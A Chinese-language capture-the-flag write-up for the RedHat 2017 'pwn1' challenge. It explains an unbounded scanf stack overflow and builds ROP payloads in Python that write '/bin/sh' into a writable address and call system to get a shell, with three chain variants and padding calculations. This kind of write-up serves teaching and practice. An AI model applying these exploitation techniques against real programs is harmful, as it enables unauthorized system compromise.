RedHat 2017-pwn1

1.常规 checksec查看一下,发现开启了NX,IDA打开程序找漏洞,变量V1的首地址为bp-28h,即变量在栈上。而之后还有__isoc99_scanf不限制长度的函数,所以输入会导致栈溢出。这样就可以寻找system和”bin/sh”来getshell了。

1
2
3
4
5
#注释头

int v1; // [esp+18h] [ebp-28h]
----------------------------------------------------------
__isoc99_scanf("%s", &v1);

2.首先ctrl+s看看.got.plt中有没有system函数,这里有。找到system函数后,再寻找”/bin/sh”,但是找不到,所以考虑从__isoc99_scanf来读取”/bin/sh”来写入到内存进程中。

3.接下来考虑字符串”/bin/sh”应该放到哪里,因为可能会有ASLR(地址随机化)的影响,所以最好找个可以固定的内存地址来存放数据。ctrl+s查看内存页后可以看到有个0x0804a030开始的可读可写的大于8字节的地址,且该地址不受ASLR影响,所以可以考虑把字符串读到这里。(可以看到有R和W权限,但我也不知道怎么看该地址受不受到ASLR的影响,可以按照以前的做法,这里可以将该地址修改为某个extern段的地址,因为延迟绑定之后,这个段中的内容就基本没用了,这里选择这个段上的某个地址一样可以getshell,我选的是0x0804A050。)

4.既然程序读取用的是__isoc99_scanf,那么参数”%s”也得找到,容易找到位于0x08048629。

5.先编写rop链测试一下:

1
2
3
4
5
6
7
8
9
10
11
#注释头

elf = ELF('./pwn1')#rop链必备,用于打开plt和got表来获取函数地址
scanf_addr = p32(elf.symbols['__isoc99_scanf'])#获取scanf的地址
format_s = p32(0x08048629)#这是我们scanf赋予”%s”的地址
binsh_addr = p32(0x0804a030)#bin/sh保存的地址

shellcode = ‘A’*0x34 + scanf_addr + format_s + binsh_addr
print io.read()
#读取puts("pwn test")的输出,以便继续执行。io.recv()一样可以,具体用法再做参考
io.sendline(shellcode1)#第一次scanf输入shellcode1

这里”A”*0x34有点不一样,我们可以看到在该函数中声明的局部变量v1距离栈底有0x28,那么main函数的返回地址应该是0x28+0x04=0x2c才对。但是实际上,由于程序最开始的动态链接,是从start开始初始化main函数栈的,所以经过start函数会给main函数栈上压入两个全局偏移量。通过调试也可以看到,输入AAAA,位于FFFDF568,加上0x28应该等于FFFDF590,但是这里却不是ebp,得再加上两个0x04才是ebp的位置。这是因为在程序运行起来的延迟绑定的关系,压入栈的是全局偏移。不过不用管,没啥用,这里直接再加上两个0x04就好了,通过调试也可以调试出来。而且查汇编代码,发现寻址方式是通过esp寻址,也就是[esp+18h],FFFDF550+0x18=FFFDF568,也就是我们输入的地方。

img

6.程序运行到这没什么问题,但是接着运行下去从由于我们覆盖的是main函数的返回地址,让main返回地址返回到scanf中,执行的是return命令。而再次进入到scanf函数中之后,执行:io.sendline(“/bin/sh”)。发现binsh并没有被读入到binsh_addr中,这是因为scanf读取输入时的汇编操作如下:假设为scanf(“%s”,&v1);

1
2
3
4
5
#注释头

push v1
push %s
push eip

栈的分布如下:

1
2
3
4
5
6
7
8
#注释头

栈顶
scanf返回地址 ---esp +1
scanf第一个格式化参数%s ---esp+2
scanf第二个输入进的参数&v1 ---esp+3

执行时是取esp +2,esp+3

而我们直接return scanf的栈分布如下:

1
2
3
4
5
#注释头

scanf 第一个格式化参数%s ---p32(format_s) ---esp+1
scanf第二个输入进的参数&v1 ---p32(binsh_addr) --esp+2
执行时是取esp+2,esp+3

scanf在执行过程中,由于我们没有将scanf的返回地址压入栈中,所以第一个读取的是esp+2,将我们需要输入的binsh的地址当作了格式化参数%s来读取,发生错误。之后scanf也没办法正常返回

8.所以我们用main函数的return来调用scanf时,需要给栈布置一个scanf的返回地址,否则scanf执行过程中会读取参数发生错误,不能正常读取和返回。

9.那么第一次的shellcode顺序应该是‘A’*0x34 + scanf_addr + scanf_returnaddr + format_s + binsh_addr。

1
2
3
4
5
6
7
#注释头

shellcode1 = 'A'*0x34 #padding
shellcode1 += scanf_addr # 调用scanf以从STDIN读取"/bin/sh"字符串
shellcode1 += scanf_retn_addr # scanf返回地址
shellcode1 += format_s # scanf参数
shellcode1 += binsh_addr # "/bin/sh"字符串所在地址

之后大多有两种解决方案:

▲第一种:将scanf返回到main,再次执行栈溢出:

也就是将scanf的返回地址设置为main函数的地址,scanf出来之后,回到mian中之后,第二次的shellcode应该是’A’0x2c +system_addr + system_ret_addr + binsh_addr。这里的system_addr和上述的scanf中是一样的,都是为了防止函数读取参数发生错误从而无法正常执行。但是这里的system_ret_addr可以随便填,因为我们并不需要返回system,进入到system之后执行binsh就能getshell了。而’A’2c是因为栈的状态发生了改变,所以需要重新计算一下。因为再次进入main函数构造出来的Main函数栈应该是0x40,而不是之前0x48这么大了,没有经过start函数初始化main函数栈,不存在压入的全局偏移,系统只是将这次的main函数当作一个普通的函数来构造栈。

所以这一次我们输入的内容距离栈底就确实只有0x28这么远了,那么计算一下0x28+0x04=0x2c,所以这一次的padding就是0x2c。

1
2
3
4
5
6
#注释头

shellcode2 = 'B'*0x2c #padding
shellcode2 += system_addr #跳转到system函数以执行system("/bin/sh")
shellcode2 += main_addr # system函数返回地址,随便填
shellcode2 += binsh_addr #system函数的参数

▲第二种:将scanf的返回地址拿来做文章,通过rop将esp直接下拉两个0x04到达我们输入的system,然后在从之后的地方读取binsh字符串,一次payload直接搞定:

img

通过汇编代码可以看到,调用scanf时的栈状态应该跟下图一样:

img

所以我们scanf函数返回时esp应该还是指向的format参数地址才对,那么为了将esp下拉两个0x04,到达输入的system函数地址,就需要两个Pop操作,这里通过ROPgadget可以查出来,或者直接从init什么的初始化段中找万能gadget,同样存在多个Pop操作。那么这样的化就只有一次payload,所以总的payload就应该是:

1
2
3
4
5
6
7
8
9
#注释头

shellcode1 = 'A'*0x34 #padding
shellcode1 += scanf_addr # 调用scanf以从STDIN读取"/bin/sh"字符串
shellcode1 += pop_pop_ret_addr# scanf返回后到两个Pop操作处
shellcode1 += format_s # scanf参数
shellcode1 += binsh_addr #作为scanf的参数读取binsh字符串
shellcode1 += system_addr # "/bin/sh"字符串所在地址
shellcode1 += binsh_addr #作为system的参数getshell

▲这里再给出第三种方案,也比较容易理解

这个方案是基于第一种的,覆盖scanf返回地址为start函数,这样main函数栈又重新初始化,相当重新执行一次程序,那么第二次的shellcode的padding字符个数还是0x34个A,之后就常规覆盖eip跳转system函数getshell了。但是这里直接写start函数的首地址会出错,因为这里的start首地址为0x08048420,末尾为20,转化成字符串就是空格。而读入我们输入的又是scanf,scanf不支持空格录入,所以遇到空格就会发生截断,导致读不进去。而这里又是因为大端序,如果发生0x08048420,那么先发送的字符是0x20,也就是空格,那么就直接截断,之后所有数据都读不了了。所以这里如果需要传入start函数,则将start函数下拉两个字节,传入0x08048422。看汇编代码:

img

start函数体的第一条汇编指令是xor ebp,ebp。异或操作,就是将ebp清理好初始化而已,啥用也没有,所以可以直接跳过,到pop esi就行。具体代码就是将第一种方案的种第一段shellcode的main_addr改成start_addr+0x02,然后偏移都是0x34就行。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

https://www.cnblogs.com/sweetbaby/p/14148625.html